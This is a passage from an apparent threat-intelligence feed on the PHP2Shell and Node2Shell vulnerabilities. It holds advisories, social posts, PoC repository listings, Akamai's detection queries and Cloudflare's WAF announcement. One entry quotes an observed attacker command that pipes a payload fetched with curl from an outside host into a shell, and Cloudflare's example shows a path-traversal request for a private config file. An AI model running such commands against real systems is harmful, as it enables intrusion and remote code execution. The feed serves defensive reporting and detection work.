SAML key extraction attempts. Timeline Oct 8 setup to Oct 24. Tools: iox, aiscan (DeepSeek/Kimi), Claude Code installed. Vendor and versions not disclosed; no IPs/hashes published.","published_at":"2026-10-26T00:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":16132,"url":"https://previdian.com/php2shell-activity-across-previdian-network","title":"PHP2Shell Activity Across Previdian Network (Previdian Research)","kind":"blog","source":"analyst","publisher":null,"text":"Previdian Research, 28 Oct 2026 (Ryan Dewhurst). Confirmed RCE via PHP2Shell (CVE-2026-109618/109619) on four PHP 8.4.26 Apache mod_php honeypots (Frankfurt, San Francisco, Singapore, Kansas City). 7-day snapshot: 1,126 observations for CVE-2026-109618 from 110 source IPs. Sequence: User-Agent-less GETs to /, /wp-login.php, /wp-includes/version.php, /readme.html, /license.txt, /nope.php; then three ~1.3-2.2 MB multipart POSTs to / with PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS (OOM, ~19 KB percent-encoded PHPSESSID memory leak, then command stage). apache2 (UID 33) spawned: sh -c -- (curl 37455255:7|sh)& ; 37455255 = 2.59.133.151 (also the source address), TCP port 7. Hosted payload: 'sleep 5' (exploitation verification probe). Original URL via https://t.co/SpWZQYmqr7","published_at":"2026-10-28T00:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":16118,"url":"https://x.com/_r_netsec/status/2115768949958979651","title":"@_r_netsec: PHP2Shell Activity Across Previdian Network https://t.co/SpWZQYmqr7","kind":"post","source":"x","publisher":null,"text":"PHP2Shell Activity Across Previdian Network https://t.co/SpWZQYmqr7\n\nlikes 3 reposts 2","published_at":"2026-10-29T11:33:21+00:00","relation":"discussion","confidence":null,"note":"@_r_netsec"},{"id":16522,"url":"https://cyberplace.social/@GossiTheDog/117524203610758833","title":"Kevin Beaumont: RE: https:// cyberplace.social/@GossiTheDog /117515798886610105 I’m aware of a r","kind":"post","source":"mastodon","publisher":null,"text":"RE: https:// cyberplace.social/@GossiTheDog /117515798886610105 I’m aware of a ransomware group using PHP2Shell against Palo-Alto firewalls to gain initial access to orgs. They’re moving laterally off the PANOS box using stored creds to get inside network.","published_at":"2026-10-29T12:30:32+00:00","relation":"discussion","confidence":null,"note":null},{"id":16597,"url":"https://news.ycombinator.com/item?id=50288326","title":"PHP2Shell Exposure Tracker","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell Exposure Tracker\nhttps://censys.com/php2shell/\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-29T13:05:01+00:00","relation":"discussion","confidence":null,"note":null},{"id":16908,"url":"https://x.com/BleepinComputer/status/2115805892213932089","title":"@BleepinComputer: CISA ordered US federal agencies to patch a high-severity Linux kernel privilege","kind":"post","source":"x","publisher":null,"text":"CISA ordered US federal agencies to patch a high-severity Linux kernel privilege escalation bug that attackers are chaining with the PHP2Shell flaws in the wild.\nhttps://t.co/8l3OitP343\n\nlikes 65 reposts 13","published_at":"2026-10-29T14:00:09+00:00","relation":"discussion","confidence":null,"note":"@BleepinComputer"},{"id":16971,"url":"https://www.bleepingcomputer.com/news/security/cisa-warns-of-fragnesia-linux-flaw-chained-in-php2shell-attacks/","title":"BleepingComputer: CISA warns of Fragnesia Linux flaw chained in PHP2Shell attacks","kind":"blog","source":"blog","publisher":null,"text":"CISA warns of Fragnesia Linux flaw chained in PHP2Shell attacks\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned federal agencies to patch a high-severity Linux kernel privilege escalation bug that attackers are chaining with the PHP2Shell flaws in the wild. [...]","published_at":"2026-10-29T13:59:48+00:00","relation":"mentions","confidence":null,"note":null},{"id":17125,"url":"https://www.aikido.dev/blog/php2shell-day-after-tomorrow","title":"Aikido: The day after tomorrow: After PHP2Shell, it gets worse, then defenders win","kind":"blog","source":"blog","publisher":null,"text":"The day after tomorrow: After PHP2Shell, it gets worse, then defenders win\n\nPHP2Shell and Brocolli2Shell may be harbingers of many vulnerabilities to come. But we can be ready Category: News","published_at":"2026-10-29T13:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":27274,"url":"https://docs.cloud.google.com/support/bulletins/index#gcp-2026-072","title":"Google Cloud Security Bulletins: GCP-2026-072: Published: 2026-10-24 Description Description Severity Notes Two vulnerabilities in PHP core, CVE-2026-109618 and CVE-2026-109619 (\"PHP2Shel","kind":"vendor","source":"vendor","publisher":null,"text":"GCP-2026-072\n\nPublished: 2026-10-24 Description Description Severity Notes Two vulnerabilities in PHP core, CVE-2026-109618 and CVE-2026-109619 (\"PHP2Shell\"), allow an unauthenticated attacker to execute code remotely on a server running a vulnerable PHP version. They are fixed in PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12. No fixed release exists for PHP 8.1 or earlier. The impact on Apigee is limited to Drupal-based Apigee developer portals, which customers deploy and operate. Other Apigee products don't use PHP and aren't affected. For instructions and more details, see the Apigee security bulletin . Critical CVE-2026-109618 CVE-2026-109619","published_at":"2026-10-28T15:19:22+00:00","relation":"mentions","confidence":null,"note":null},{"id":19089,"url":"https://bsky.app/profile/campuscodi.risky.biz/post/3mz2373ldk22k","title":"@campuscodi.risky.biz: WordPress security firm Wordfence says it has not discovered any WordPress site ","kind":"post","source":"bluesky","publisher":null,"text":"WordPress security firm Wordfence says it has not discovered any WordPress site that was hacked via the PHP2Shell vulnerabilities\n\nwww.wordfence.com/blog/2026/10...\nhttps://www.wordfence.com/blog/2026/10/php2shell-update-still-no-confirmed-wordpress-compromises-and-answers-to-the-questions-were-hearing-most/\n\nlikes 1 reposts 0","published_at":"2026-10-29T20:11:48+00:00","relation":"discussion","confidence":null,"note":"@campuscodi.risky.biz"},{"id":20680,"url":"https://www.aikido.dev/blog/what-are-shell-vulnerabilities","title":"Aikido: What are shell vulnerabilities? PHP2Shell, Node2Shell (HTTP2Shell), React2Shell and Log4Shell explained","kind":"blog","source":"blog","publisher":null,"text":"What are shell vulnerabilities? PHP2Shell, Node2Shell (HTTP2Shell), React2Shell and Log4Shell explained\n\nWe explain what shell vulnerabilities are and how to manage them: PHP2Shell, Node2Shell (HTTP2Shell), React2Shell and Log4Shell Category: Guides & Best Practices","published_at":"2026-10-29T19:07:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":21005,"url":"https://www.reddit.com/r/netsec/comments/1xj4co1/php2bitcoin_x_brotli2coin_live_hacking_stream/","title":"r/netsec: php2bitcoin x brotli2coin: live hacking stream","kind":"post","source":"reddit","publisher":null,"text":"php2bitcoin x brotli2coin: live hacking stream\n\nI wanted to figure out just how exploitable php2shell and http2shell were in practice, so I've created two purposely vulnerable web apps: https://brotli2bitcoin.com & https://php2bitcoin.com with a standard production config -- pop an RCE and find the flag to claim the $1K BTC. And to make it interesting, I setup a live stream showing every single attack attempt happening live https://www.youtube.com/watch?v=w7_EJWqRzvw Good luck! ;) submitted by /u/eth0izzle [link] [comments]","published_at":"2026-10-30T03:06:20+00:00","relation":"discussion","confidence":null,"note":null},{"id":28391,"url":"https://www.welivesecurity.com/en/videos/month-security-tony-anscombe-october-2026/","title":"ESET Research: This month in security with Tony Anscombe – October 2026 edition","kind":"blog","source":"blog","publisher":null,"text":"This month in security with Tony Anscombe – October 2026 edition\n\nThe PHP2Shell disclosure and other major cybersecurity news this month brought into relief the need for well-thought-out cyber-readiness plans","published_at":"2026-10-30T15:03:14+00:00","relation":"mentions","confidence":null,"note":null},{"id":25518,"url":"https://x.com/calif_io/status/2116250184531448164","title":"@calif_io: Our own @brucedang and @XorNinja went on the Bloomberg Odd Lots podcast to discu","kind":"post","source":"x","publisher":null,"text":"Our own @brucedang and @XorNinja went on the Bloomberg Odd Lots podcast to discuss AI, cyber, and php2shell.\n\nCheck it out: https://t.co/6ylOEk57ZJ\n\nlikes 140 reposts 16","published_at":"2026-10-30T19:25:36+00:00","relation":"discussion","confidence":null,"note":"@calif_io"},{"id":23026,"url":"https://x.com/AikidoSecurity/status/2116126851001430467","title":"@AikidoSecurity: It's been a tough week or so for security and dev teams. You're not alone.\n\nPHP2","kind":"post","source":"x","publisher":null,"text":"It's been a tough week or so for security and dev teams. You're not alone.\n\nPHP2Shell and HTTP2Shell landed in the same few days, and it may get worse before it gets better. We still think defenders come out ahead.\n\nOur take on the day after PHP2Shell by @Sooraj_Shah:\n\nlikes 14 reposts 4","published_at":"2026-10-30T11:15:31+00:00","relation":"discussion","confidence":null,"note":"@AikidoSecurity"},{"id":25260,"url":"https://cyberplace.social/@GossiTheDog/117531244098459428","title":"Kevin Beaumont: PHP2Shell activity from real world exploitation incidents: https:// hunt.io/blog","kind":"post","source":"mastodon","publisher":null,"text":"PHP2Shell activity from real world exploitation incidents: https:// hunt.io/blog/php2shell-honeypo t-shells-root-palo-alto-firewalls Tl;dr - the AI generated exploits sucked. They didn’t work. - ASLR is a great mitigation which held back quick exploitation. - the biggest victim is Palo-Alto firewall customers, as Palo-Alto took the longest of any security vendor to patch, and used one old version of PHP across all appliances, which was easier to build an exploit for.","published_at":"2026-10-30T18:21:01+00:00","relation":"discussion","confidence":null,"note":null},{"id":45906,"url":"https://php2shell.delftintellab.com","title":"Third-party advisory: php2shell.delftintellab.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":null},{"id":70552,"url":"https://x.com/xbow/status/2118087610455453819","title":"@xbow: Hear from @_remot3 -- who led the building of the #php2shell exploit for XBOW --","kind":"post","source":"x","publisher":null,"text":"Hear from @_remot3 -- who led the building of the #php2shell exploit for XBOW -- in the latest episode of Offense Taken with @fede_k 🐘\n\nhttps://t.co/Iv8gwCK9Zg\n\nlikes 28 reposts 6","published_at":"2026-11-04T21:06:53+00:00","relation":"discussion","confidence":null,"note":"@xbow"},{"id":51540,"url":"https://github.com/jackyho522/PHP2Shell-CVE-2026-109618-Raw-HTTP","title":"jackyho522/PHP2Shell-CVE-2026-109618-Raw-HTTP","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-11-02T11:08:47+00:00","relation":"poc","confidence":null,"note":null},{"id":52345,"url":"https://www.reversinglabs.com/blog/the-sky-is-falling-again-what-php2shell-says-about-ai-the-disclosure-process-and-security","title":"ReversingLabs: The Sky Is Falling (Again): What PHP2Shell Says About AI, The Disclosure Process, and Security","kind":"blog","source":"blog","publisher":null,"text":"The Sky Is Falling (Again): What PHP2Shell Says About AI, The Disclosure Process, and Security","published_at":"2026-11-02T08:00:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":4045,"url":"https://www.akamai.com/blog/security-research/2026/oct/inside-node2shell-closer-look-cve-2026-111497","title":"Akamai: Inside Node2Shell: A Closer Look at CVE-2026-111497 | Akamai","kind":"advisory","source":"lab","publisher":"research","text":"Inside Node2Shell: A Closer Look at CVE-2026-111497 | Akamai\n\n# Inside Node2Shell: A Closer Look at CVE-2026-111497 \n\n October 26, 2026 by Akamai Security Intelligence Group \n\nAffected Akamai ExAR customers have already received a detailed mapping of vulnerable assets with actionable mitigation steps.\n\n## Key takeaways \n\nOn October 21, 2026, Node.js released security updates that fix CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js.\nThe vulnerability, named Node2Shell, allows an attacker who can supply malformed Brotli-compressed data to corrupt process memory, which can lead to a crash, disclosure of process memory, or remote code execution (RCE).\nThe CVE was assigned a CVSS score of 9.2 (critical). Node.js rates the vulnerability as high severity.\nApplications are exposed when they decompress untrusted Brotli data, including responses received through the built-in fetch() API and request bodies parsed by Express 5.\nAkamai telemetry shows that 61% of networks are running affected Node.js versions.\n\nNode2Shell was disclosed shortly after PHP2Shell, which we detailed in a previous blog post.\n\nIn this blog post, we explain the Node2Shell vulnerability, list the affected Node.js versions, and provide mitigation guidance, including Akamai Guardicore Segmentation Insight queries to help identify vulnerable assets.\n\n## Vulnerability details \n\nNode2Shell originates in the Brotli decoder that Node.js bundles to provide Brotli decompression through its node:zlib module. Brotli is a compression format used for, among other things, HTTP content encoding.\n\nA Brotli stream can signal a switch between block types during decoding. When a stream signals a block switch that its own structure makes invalid, the vulnerable decoder reported the condition as a temporary need for more input instead of a permanent format error.\n\nAs a result, the streaming decoder kept appending input bytes to an eight-byte internal buffer and wrote past its end, as described in the Node.js advisory.\n\nAn attacker who can supply Brotli data that an application decompresses can corrupt process memory, which can lead to a crash, disclosure of process memory, or RCE (Figure). The attack does not require authentication.\n\n Zoom image \n\nNode2Shell allows an attacker who can supply malformed Brotli-compressed data to corrupt process memory, which can lead to a crash, disclosure of process memory, or RCE\n\n Close popover \n\nApplications do not need to call the Brotli API directly to be exposed. Attacker-controlled Brotli data can reach the decoder through:\n\n- The node:zlib module, in applications that pass untrusted input to zlib.brotliDecompress() or zlib.createBrotliDecompress().\n- The built-in fetch() API, which automatically decompresses Brotli-encoded responses. A malicious or compromised server can then target the client application.\n- Express 5 and body-parser 2, whose json, raw, text, and urlencoded parsers decompress request bodies sent with Content-Encoding: br by default, because the `inflate` option defaults to `true`. Any client can send such a request.\n\nA bare Node.js HTTP server does not decode incoming Brotli bodies on its own; HTTP content decoding is left to the application, as shown in the Node.js zlib documentation.\n\nThe upstream fix makes the decoder return a dedicated format error (BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH) for the invalid block switch and pass it back to the caller. Malformed streams are now rejected instead of being treated as incomplete input.\n\n## Affected versions \n\nNode2Shell affects the following Node.js release lines:\n\n- 26.x versions before 26.12.1\n- 24.x versions before 24.22.1\n- 22.x versions before 22.23.4\n\nDiscontinued release lines, including 25.x, 23.x, 20.x, and earlier, do not receive a fix. Node.js states that discontinued versions are always affected when a security release occurs.\n\n## Mitigation \n\nMitigation strategies include:\n\n- Upgrade to a patched version\n- Segment to limit blast radius\n- Turn off compressed request bodies\n- Identify vulnerable hosts with Akamai Guardicore Segmentation\n\n### Upgrade to a patched version \n\nNode.js fixed the vulnerability in versions 22.23.4, 24.22.1, and 26.12.1. The Node.js advisory does not offer a workaround, so upgrading is the only complete remediation.\n\nOrganizations running a discontinued release line should move to a supported release line.\n\n### Segment to limit blast radius \n\nUse microsegmentation to restrict inbound access to Node.js services to sources that require it, and limit outbound connections from assets running vulnerable Node.js instances.\n\nThis reduces the attack surface and the impact of a compromised asset.\n\n### Turn off compressed request bodies \n\nIf your application does not need to accept compressed request bodies, set the body-parser inflate option to false. Compressed bodies are then rejected with an HTTP 415 error.\n\n### Identify vulnerable hosts with Akamai Guardicore Segmentation \n\nThe following Akamai Guardicore Segmentation Insight queries can be used to detect and segment vulnerable applications:\n\nLinux assets\n\n```bash\nWITH node_listen AS (\n  SELECT p.path AS bin_path, lp.address || ':' || lp.port AS listen_addr\n  FROM listening_ports AS lp\n  INNER JOIN processes AS p ON p.pid = lp.pid\n  WHERE (p.path LIKE '%/node' OR p.path LIKE '%/nodejs' OR p.path LIKE '%/bun')\n    AND lp.port > 0\n    AND lp.address NOT LIKE '127.%'\n    AND lp.address NOT LIKE '::ffff:127.%'\n    AND lp.address NOT IN ('', '::1')\n),\nfound AS (\n  SELECT 'deb package' AS found_in, name AS item, version AS full_version,\n    CASE WHEN instr(version, ':') > 0\n         THEN substr(version, instr(version, ':') + 1) ELSE version END AS ver,\n    CASE WHEN version LIKE '%nodesource%' THEN 'nodesource' ELSE 'distro' END AS build,\n    '/usr/bin/node' AS bin_path\n  FROM deb_packages\n  WHERE name IN ('nodejs', 'nodejs18', 'nodejs20', 'nodejs22', 'nodejs24', 'nodejs26')\n  UNION ALL\n  SELECT 'rpm package', name, version || '-' || release, version,\n    CASE WHEN release LIKE '%nodesource%' THEN 'nodesource' ELSE 'distro' END,\n    '/usr/bin/node'\n  FROM rpm_packages\n  WHERE name IN ('nodejs', 'nodejs18', 'nodejs20', 'nodejs22', 'nodejs24', 'nodejs26')\n  UNION ALL\n  SELECT DISTINCT 'running process', path, '',\n    CASE\n      WHEN instr(path, '/node-versions/v') > 0\n        THEN substr(path, instr(path, '/node-versions/v') + 16)\n      WHEN instr(path, '/node/v') > 0 THEN substr(path, instr(path, '/node/v') + 7)\n      WHEN instr(path, '/image/node/') > 0 THEN substr(path, instr(path, '/image/node/') + 12)\n      WHEN instr(path, '/node-v') > 0 THEN substr(path, instr(path, '/node-v') + 7)\n      ELSE ''\n    END,\n    CASE WHEN path LIKE '%/bun' THEN 'bun' ELSE 'unpackaged' END,\n    path\n  FROM processes\n  WHERE (path LIKE '%/node' OR path LIKE '%/nodejs' OR path LIKE '%/bun')\n    AND path NOT IN ('/usr/bin/node', '/usr/bin/nodejs', '/bin/node')\n),\nparsed AS (\n  SELECT found_in, item, full_version, ver, build, bin_path,\n    CAST(ver AS INTEGER) AS maj,\n    CAST(substr(ver, instr(ver, '.') + 1) AS INTEGER) AS mi,\n    CAST(substr(substr(ver, instr(ver, '.') + 1),\n                instr(substr(ver, instr(ver, '.') + 1), '.') + 1) AS INTEGER) AS pa\n  FROM found\n),\nclassified AS (\n  SELECT found_in, item, full_version, ver, build, bin_path,\n    CASE\n      WHEN build = 'bun' THEN 'CHECK_BUN_VERSION'\n      WHEN maj = 0 OR maj > 26 THEN 'UNKNOWN_VERSION'\n      WHEN maj = 22 AND (mi < 23 OR (mi = 23 AND pa < 4)) THEN 'VULNERABLE'\n      WHEN maj = 24 AND (mi < 22 OR (mi = 22 AND pa < 1)) THEN 'VULNERABLE'\n      WHEN maj = 26 AND (mi < 12 OR (mi = 12 AND pa < 1)) THEN 'VULNERABLE'\n      WHEN maj = 22 OR maj = 24 OR maj = 26 THEN 'PATCHED'\n      ELSE 'END_OF_LIFE_NO_FIX'\n    END AS node2shell_status\n  FROM parsed\n)\nSELECT c.found_in, c.item,\n  CASE WHEN c.full_version <> '' THEN c.full_version\n       WHEN c.node2shell_status = 'UNKNOWN_VERSION' THEN ''\n       ELSE substr(c.ver, 1, instr(c.ver || '/', '/') - 1) END AS node_version,\n  c.build, c.node2shell_status,\n  nl.listen_addr AS listening_on,\n  CASE\n    WHEN c.node2shell_status = 'CHECK_BUN_VERSION'\n      THEN 'Run ' || c.item || ' -v and upgrade if below 1.4.4'\n    WHEN c.node2shell_status = 'UNKNOWN_VERSION'\n      THEN 'Run ' || c.item || ' -v on the host or inside its container'\n    WHEN c.build = 'distro'\n      THEN 'Distro build: apply the vendor nodejs and brotli security updates'\n    WHEN c.node2shell_status = 'VULNERABLE'\n      THEN 'Upgrade to 22.23.4, 24.22.1, 26.12.1 or later'\n    WHEN c.node2shell_status = 'END_OF_LIFE_NO_FIX'\n      THEN 'No fix for this line. Migrate to 22.23.4, 24.22.1, 26.12.1 or later'\n    ELSE 'No action'\n  END AS recommendation\nFROM classified AS c\nLEFT JOIN node_listen AS nl ON nl.bin_path = c.bin_path\n```\n\nCopy\n\nWindows assets\n\n```bash\nWITH node_listen AS (\n  SELECT lower(p.path) AS bin_path, lp.address || ':' || lp.port AS listen_addr\n  FROM listening_ports AS lp\n  INNER JOIN processes AS p ON p.pid = lp.pid\n  WHERE lower(p.name) IN ('node.exe', 'bun.exe')\n    AND lp.port > 0\n    AND lp.address NOT LIKE '127.%'\n    AND lp.address NOT LIKE '::ffff:127.%'\n    AND lp.address NOT IN ('', '::1')\n),\nfound AS (\n  SELECT 'installed program' AS found_in, name AS item, version AS ver,\n    'c:\\program files\\nodejs\\node.exe' AS bin_path\n  FROM programs\n  WHERE name LIKE 'Node.js%'\n  UNION ALL\n  SELECT DISTINCT 'running process', p.path, f.product_version, lower(p.path)\n  FROM processes AS p\n  LEFT JOIN file AS f ON f.path = p.path\n  WHERE lower(p.name) IN ('node.exe', 'bun.exe')\n    AND lower(p.path) NOT LIKE '%\\program files\\nodejs\\node.exe'\n    AND lower(p.path) NOT LIKE '%\\program files (x86)\\nodejs\\node.exe'\n),\nparsed AS (\n  SELECT found_in, item, ver, bin_path,\n    CAST(ver AS INTEGER) AS maj,\n    CAST(substr(ver, instr(ver, '.') + 1) AS INTEGER) AS mi,\n    CAST(substr(substr(ver, instr(ver, '.') + 1),\n                instr(substr(ver, instr(ver, '.') + 1), '.') + 1) AS INTEGER) AS pa\n  FROM found\n),\nclassified AS (\n  SELECT found_in, item, ver, bin_path,\n    CASE\n      WHEN lower(item) LIKE '%bun.exe' THEN 'CHECK_BUN_VERSION'\n      WHEN ver IS NULL OR maj = 0 OR maj > 26 THEN 'UNKNOWN_VERSION'\n      WHEN maj = 22 AND (mi < 23 OR (mi = 23 AND pa < 4)) THEN 'VULNERABLE'\n      WHEN maj = 24 AND (mi < 22 OR (mi = 22 AND pa < 1)) THEN 'VULNERABLE'\n      WHEN maj = 26 AND (mi < 12 OR (mi = 12 AND pa < 1)) THEN 'VULNERABLE'\n      WHEN maj = 22 OR maj = 24 OR maj = 26 THEN 'PATCHED'\n      ELSE 'END_OF_LIFE_NO_FIX'\n    END AS node2shell_status\n  FROM parsed\n)\nSELECT c.found_in, c.item, c.ver AS node_version, c.node2shell_status,\n  nl.listen_addr AS listening_on,\n  CASE\n    WHEN c.node2shell_status = 'CHECK_BUN_VERSION'\n      THEN 'Run ' || c.item || ' -v and upgrade if below 1.4.4'\n    WHEN c.node2shell_status = 'UNKNOWN_VERSION' THEN 'Run ' || c.item || ' -v'\n    WHEN c.node2shell_status = 'VULNERABLE'\n      THEN 'Upgrade to 22.23.4, 24.22.1, 26.12.1 or later'\n    WHEN c.node2shell_status = 'END_OF_LIFE_NO_FIX'\n      THEN 'No fix for this line. Migrate to 22.23.4, 24.22.1, 26.12.1 or later'\n    ELSE 'No action'\n  END AS recommendation\nFROM classified AS c\nLEFT JOIN node_listen AS nl ON nl.bin_path = c.bin_path\n```\n\nCopy\n\n## Bottom line \n\nNode2Shell (CVE-2026-111497) is an out-of-bounds write in the Brotli decoder bundled with Node.js that can lead to RCE in applications that decompress untrusted Brotli data.\n\nEvery supported Node.js release line was affected, and common paths such as fetch() and Express 5 expose applications that never call the Brotli API directly. Organizations should upgrade to Node.js 22.23.4, 24.22.1, or 26.12.1 immediately.","published_at":"2026-10-26T16:00:00+00:00","relation":"advisory","confidence":null,"note":null},{"id":52844,"url":"https://github.com/K2uci/PHP2ShellPOC-CVE-2026-109619","title":"K2uci/PHP2ShellPOC-CVE-2026-109619","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-11-02T16:12:42+00:00","relation":"poc","confidence":null,"note":null},{"id":70638,"url":"https://www.aikido.dev/blog/cybersecurity-surviving-vulnerabilities-malware-best-practices","title":"Aikido: Surviving cybersecurity until the end of 2026","kind":"blog","source":"blog","publisher":null,"text":"Surviving cybersecurity until the end of 2026\n\nAfter Binance, LiteLLM, PHP2Shell and eMudhra, here are six practices and a checklist to limit what the next compromise can reach before 2027. Category: News","published_at":"2026-11-04T21:06:00+00:00","relation":"mentions","confidence":null,"note":null},{"id":75589,"url":"https://x.com/AikidoSecurity/status/2118299133173723241","title":"@AikidoSecurity: From the Binance breach to PHP2Shell, this year has been a wild ride for cyberse","kind":"post","source":"x","publisher":null,"text":"From the Binance breach to PHP2Shell, this year has been a wild ride for cybersecurity.\n\nWant to make it through the rest of 2026 without a breach? We have your survival guide with cyber best practices 👇 https://t.co/9NcNg70AnX\n\nlikes 47 reposts 7","published_at":"2026-11-05T11:07:24+00:00","relation":"discussion","confidence":null,"note":"@AikidoSecurity"},{"id":57769,"url":"https://news.ycombinator.com/item?id=50351735","title":"The PHP2Shell Vulnerability Heralds Cybersecurity Hell","kind":"post","source":"hackernews","publisher":null,"text":"The PHP2Shell Vulnerability Heralds Cybersecurity Hell\nhttps://spectrum.ieee.org/ai-in-cybersecurity-php2shell-vulnerability\n\n3 points, 0 comments on Hacker News","published_at":"2026-11-03T13:29:06+00:00","relation":"discussion","confidence":null,"note":null},{"id":59985,"url":"https://x.com/ReversingLabs/status/2117279013328556362","title":"@ReversingLabs: Leaked details gave PHP2Shell attackers a head start while most defenders were s","kind":"post","source":"x","publisher":null,"text":"Leaked details gave PHP2Shell attackers a head start while most defenders were still waiting on a patch.\n\nOur latest blog on what PHP2Shell and CopyFail reveal about AI-driven exploits and coordinated disclosure:\n\nRead it: https://t.co/PWplVq9ukw\n\n#AppSec #ThreatIntel https://t.co/ued2pGPnMM\n\nlikes 5 reposts 1","published_at":"2026-11-02T15:33:48+00:00","relation":"discussion","confidence":null,"note":"@ReversingLabs"},{"id":60113,"url":"https://github.com/emc-kk/php2shell-CVE-2026-109618-CVE-2026-109619-PoC","title":"emc-kk/php2shell-CVE-2026-109618-CVE-2026-109619-PoC","kind":"poc","source":"github","publisher":null,"text":"CVE-2026-109618 / CVE-2026-109619 php2shell PoC — PHP session.upload_progress OOM/stale-state RCE\n\nstars 0","published_at":"2026-11-03T19:27:44+00:00","relation":"poc","confidence":null,"note":null},{"id":66679,"url":"https://news.ycombinator.com/item?id=50364336","title":"AI is forcing us to pay off 40 years of technical debt","kind":"post","source":"hackernews","publisher":null,"text":"AI is forcing us to pay off 40 years of technical debt\nhttps://spectrum.ieee.org/ai-in-cybersecurity-php2shell-vulnerability\n\n3 points, 0 comments on Hacker News","published_at":"2026-11-04T11:52:17+00:00","relation":"discussion","confidence":null,"note":null},{"id":2846,"url":"https://blog.cloudflare.com/full-transaction-waf/","title":"Cloudflare: Introducing full transaction detection for Cloudflare WAF | Cloudflare Blog","kind":"advisory","source":"lab","publisher":"vendor","text":"Introducing full transaction detection for Cloudflare WAF | Cloudflare Blog\n\nOctober 21, 2026\n\n# Introducing full transaction detection for Cloudflare WAF\n\nDaniele Molteni\n\nElie Roudninski\n\n and \n\nNick Downie\n\nToday, we are expanding our web application firewall (WAF) by adding two new capabilities: full transaction detections and response rules. Full transaction detections evaluate each HTTP request alongside its response to identify evidence of exploitation. It helps answer both \"Does this request look malicious?\" and \"What happened when the application handled it?\" Response rules can then block the origin’s response before it reaches the requester.\n\nThese are valuable protections because the latest frontier models are uncovering vulnerabilities buried deep in widely used software, giving defenders clarity on what to fix — and attackers new paths to exploit. The recent php2shell vulnerability shows the stakes: a flaw in a common software component can put applications across the Internet at risk. AI agents scanning for vulnerabilities can be extremely persistent, adapting payloads using feedback, and chaining vulnerabilities, credentials, and permissions. An application's response can reveal whether an attempt worked and give an attacker information that helps them go deeper.\n\nInspecting incoming requests remains essential for stopping recognizable attacks before they reach an application. But some threats become clear only when the request is considered alongside what the origin returns. A suspicious input followed by a response exposing sensitive information tells a different story from the same input followed by a rejection or an error.\n\nWith these new capabilities, customers can use Cloudflare-managed protections or build their own policies combining request and response properties. This extends our always-on application security framework, with detection results available in Security Analytics to support investigation. Our first managed protections using this capability address the recently disclosed php2shell vulnerability.\n\nAnd the best part? We are making these new capabilities generally available to all Cloudflare customers, including Free plans.\n\n## Copy link Request inspection is not enough\n\nCloudflare WAF protects websites and APIs with managed rules, custom rules, and rate limiting. Managed rules provide protection for known attack techniques and vulnerabilities while custom rules let teams create their own policies using parameters such as an IP address, URL path, headers, and request body. These controls operate at the request level to stop exploits or unwanted traffic from reaching the origin.\n\nFor many threats, this is the right place to act. However, treating every suspicious request as a confirmed exploit creates a difficult choice. Broad request signatures can catch more potential attacks, but they can also show “false positives”, such as matching legitimate traffic — which then breaks the applications. Deploying only rules that do not trigger false positives reduces that risk, but can leave more room for more ambiguous traffic to reach the server.\n\nThe response provides the missing evidence. Cloudflare can now correlate it with the request that produced it, so detections can account for the outcome of the entire HTTP transaction.\n\nAs an illustrative example, consider an application that lets users download files. An attacker manipulates the file parameter to request a private configuration file outside the permitted directory:\n\n```\nGET /download?file=../../config/database.ini\n```\n\nRequest inspection can recognize this path traversal attempt and block it before it reaches the application. The request alone, however, cannot establish whether the application would expose the file. It might reject the request, ignore the traversal, or return an error. If the request reaches the origin, a response like this provides additional evidence:\n\n```\n200 OK\nContent-Type: text/plain\n[database]\nusername=app_service\npassword=EXAMPLE_SECRET\n```\n\nFull transaction detection provides a missing piece: it can correlate the attempted file access with response content characteristic of a private configuration file. Configuration-like text can legitimately appear in documentation or example downloads; combining it with a traversal attempt provides stronger evidence of sensitive data exposure than either signal alone. A response rule can then replace the origin response with a Cloudflare WAF block page and HTTP 403 before it reaches the requester, effectively blocking the exploit by preventing sensitive information from reaching the attacker.\n\n## Copy link Detection and mitigation are separate by design\n\nFull transaction detection extends the always-on detection framework we introduced earlier this year. Detections analyze traffic and attach metadata to the request and response, rules then decide what to do with those results.\n\nThe structure of request and response in Cloudflare’s web application firewall (WAF).\n\nSeparating those jobs gives customers visibility before they design a policy. Security teams can inspect detections in their own traffic, understand which endpoints and signatures are involved, and choose the response that fits their application. Similar to the approach for the request-based Attack Signature Detection, the outcome of the detections are stored in fields that can be accessed in the response custom rules or used in managed detections to block traffic.\n\nMirroring the request detection fields, the following new fields are added to our platform:\n\nField\n\nDescription\n\ncf.waf.signature.response.confidence\n\nConfidence values associated with matching signatures\n\ncf.waf.signature.response.categories\n\nCategories associated with matching signatures\n\ncf.waf.signature.response.ref\n\nSignature reference IDs, up to 10\n\nThe first full transaction detections focus on exploit confirmation for high profile vulnerability. It correlates suspicious input with response signals that indicate an exploit may have succeeded.\n\nWe will expand coverage over time by supporting other use cases, including detecting data exposure and exfiltration signals. This is important for the Internet beyond any one application: defenses can distinguish probing from evidence of impact, while detection of exposed data and services can reach customers that do not have a dedicated security team tuning every WAF rule.\n\n## Copy link Create rules on the response\n\nDetecting evidence of exploitation is most useful if you can act on it in real time. Response custom rules turn full transaction detections into inline protection by blocking a matching origin response before it reaches the requester, although it cannot undo actions already performed at the origin.\n\nSecurity teams can now combine request and response properties with detection results to decide which responses to block. When a blocking rule matches, Cloudflare replaces the origin response with a WAF block page or a custom response.\n\nResponse phase controls are available in the Cloudflare dashboard at the bottom of the Security > Security Rules page, with both managed protections and custom rules.\n\nWe have released both managed and custom rules to all plans, including Free plans. Over time, we will follow the same approach we use for request detections, where managed detections for free plans focus on high-profile vulnerabilities, while paying customers get a richer catalog of 